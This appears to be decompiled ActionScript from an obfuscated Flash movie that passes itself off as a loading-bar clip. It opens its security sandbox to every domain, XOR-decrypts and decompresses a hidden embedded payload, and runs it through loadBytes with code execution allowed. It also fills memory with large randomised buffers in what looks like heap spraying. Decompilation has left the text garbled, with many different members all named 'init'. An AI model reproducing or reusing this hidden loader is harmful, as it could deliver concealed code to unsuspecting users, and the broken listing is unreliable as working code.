Section 1
//±ߐ (±ß)
package {
import flash.events.*;
import flash.display.*;
import flash.system.*;
import flash.net.*;
import flash.utils.*;
import laan.smart.proxies.filesystem.*;
public dynamic class ±ߐ extends MovieClip {
private var ±ߒ;
private var ±ߒ:uint;
private var init;
private var init:uint;// = 0
private var init:uint;
private var init:uint;
private var init;
private var init;
private var init;
private var init;
private var init:uint;
private static const ±ߒ = "_doswf_package.LoadingBarBase";
public function ±ߐ(){
if (Security.sandboxType != "application"){
Security.allowDomain("*");
};
this.init();
}
private function init():void{
var _local1:* = null;
_local1 = null;
this.init = new LoaderContext(false, ApplicationDomain.currentDomain);
if (this.init.hasOwnProperty("allowLoadBytesCodeExecution")){
Object(this.init).allowLoadBytesCodeExecution = true;
};
if (this.init.hasOwnProperty("parameters")){
Object(this.init)["parameters"] = loaderInfo.parameters;
};
StageAlign.prototype["@doswf__s"] = stage;
StageAlign.prototype.setPropertyIsEnumerable("@doswf__s", false);
LoaderInfo.prototype["@doswf__u"] = loaderInfo.url;
LoaderInfo.prototype.setPropertyIsEnumerable("@doswf__u", false);
if (ApplicationDomain.currentDomain.hasDefinition(±ߒ)){
_local1 = (ApplicationDomain.currentDomain.getDefinition(±ߒ) as Class);
this.init = (new (_local1) as DisplayObject);
addChild(this.init);
stop();
addEventListener(Event.ENTER_FRAME, this.init);
} else {
this.init();
};
}
private function init(*:Event):void{
var _local2:* = null;
_local2 = (loaderInfo.bytesLoaded / loaderInfo.bytesTotal);
Object(this.init).setProgress(this, _local2);
if (_local2 == 1){
removeEventListener(Event.ENTER_FRAME, this.init);
removeChild(this.init);
gotoAndStop(2);
this.init();
};
}
private function init(*:ByteArray):ByteArray{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_local4 = 0;
*.position = 0;
this.±ߒ = (*.readUnsignedByte() - 1);
this.init = (*.readUnsignedByte() - 1);
this.init = (*.readUnsignedInt() - 2);
this.init = (*.readUnsignedInt() - 2);
_local2 = new ByteArray();
_local2.writeBytes(*, (*.length - this.init), this.init);
_local3 = 0;
while (true) {
_local4 = 0;
while (_local4 < this.±ߒ) {
_local2[_local3] = (_local2[_local3] ^ this.init);
_local3++;
if (_local3 >= this.init){
break;
};
_local4 = (_local4 + 5);
};
_local3 = (_local3 + this.init);
if (_local3 >= this.init){
break;
};
};
return (_local2);
}
private function init(*:Event):void{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
if ((* is ProgressEvent)){
this.init = (* as ProgressEvent);
return;
};
_local2 = (*.target as LoaderInfo);
_local2.removeEventListener(Event.INIT, this.init);
_local2.removeEventListener(ProgressEvent.PROGRESS, this.init);
_local3 = _local2.loader;
if (this.init){
_local3 = new Loader();
_local3.contentLoaderInfo.addEventListener(Event.INIT, this.init);
_local3.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.init);
_local3.loadBytes(this.init, this.init);
this.init = null;
return;
};
if ((parent is Stage)){
if (this.init){
parent.addChildAt(_local3.content, 0);
parent.removeChild(this);
} else {
addChild(_local3);
};
} else {
if (this.init){
addChildAt(_local3.content, 0);
} else {
addChildAt(_local3, 0);
};
};
if (((_local2.content.hasOwnProperty("@doswf__lph")) && (this.init))){
_local4 = Object(_local2.content);
_local4["@doswf__lph"](this.init);
};
}
private function init(*:Event):void{
var _local7:* = null;
var _local6:* = null;
var _local5:* = null;
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
_local5 = null;
_local6 = null;
_local7 = 0;
_local2 = this.±ߒ[0];
_local3 = this.±ߒ[1];
_local4 = 3;
while (_local4-- > 0) {
_local5 = new ByteArray();
_local5.writeBytes(_local3);
_local5.position = _local5.length;
_local5.endian = Endian.LITTLE_ENDIAN;
_local6 = new ByteArray();
_local7 = (((_local2 * 2) / 3) + (Math.random() * ((_local2 * 2) / 3)));
while (_local6.length < _local7) {
_local6.writeBytes(_local3, ((Math.random() * _local3.length) / 3));
};
_local6.length = _local7;
if (_local6.length >= 63){
_local5.writeShort(((87 << 6) | 63));
_local5.writeUnsignedInt(_local6.length);
} else {
_local5.writeShort(((87 << 6) | _local6.length));
};
_local5.writeBytes(_local6);
_local5.writeShort((1 << 6));
_local5.writeShort(0);
_local5.position = 4;
_local5.writeUnsignedInt(_local5.length);
this.±ߒ.push(_local5);
this.init = (this.init + _local5.length);
if ((((this.init > ((100 * 0x0400) * 0x0400))) || ((this.±ߒ.length > 128)))){
removeEventListener(Event.ENTER_FRAME, this.init);
break;
};
};
}
private function init():void{
var _local1:* = null;
_local1 = this.init(new ±ߑ());
_local1.uncompress();
this.init(_local1);
}
private function init(*:ByteArray):void{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
this.±ߒ = [];
_local2 = Math.min(*.readUnsignedInt(), ((6 * 0x0400) * 0x0400));
_local3 = *.readUnsignedInt();
_local4 = new ByteArray();
*.readBytes(_local4, 0, _local3);
this.±ߒ = [_local2, _local4];
addEventListener(Event.ENTER_FRAME, this.init);
this.init(null);
}
private function init(*:ByteArray):void{
var _local4:* = null;
var _local3:* = null;
var _local2:* = null;
*.position = 0;
if (*.readBoolean()){
this.init(*);
};
this.init = *.readBoolean();
_local2 = *.readUnsignedInt();
_local3 = new ByteArray();
*.readBytes(_local3, 0, _local2);
this.init = new ByteArray();
*.readBytes(this.init);
_local4 = new Loader();
_local4.contentLoaderInfo.addEventListener(Event.INIT, this.init);
_local4.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.init);
_local4.loadBytes(_local3, this.init);
}
}
}//package
Section 2
//±ߑ (±ߑ)
package {
import flash.utils.*;
public class ±ߑ extends ByteArray {
}
}//package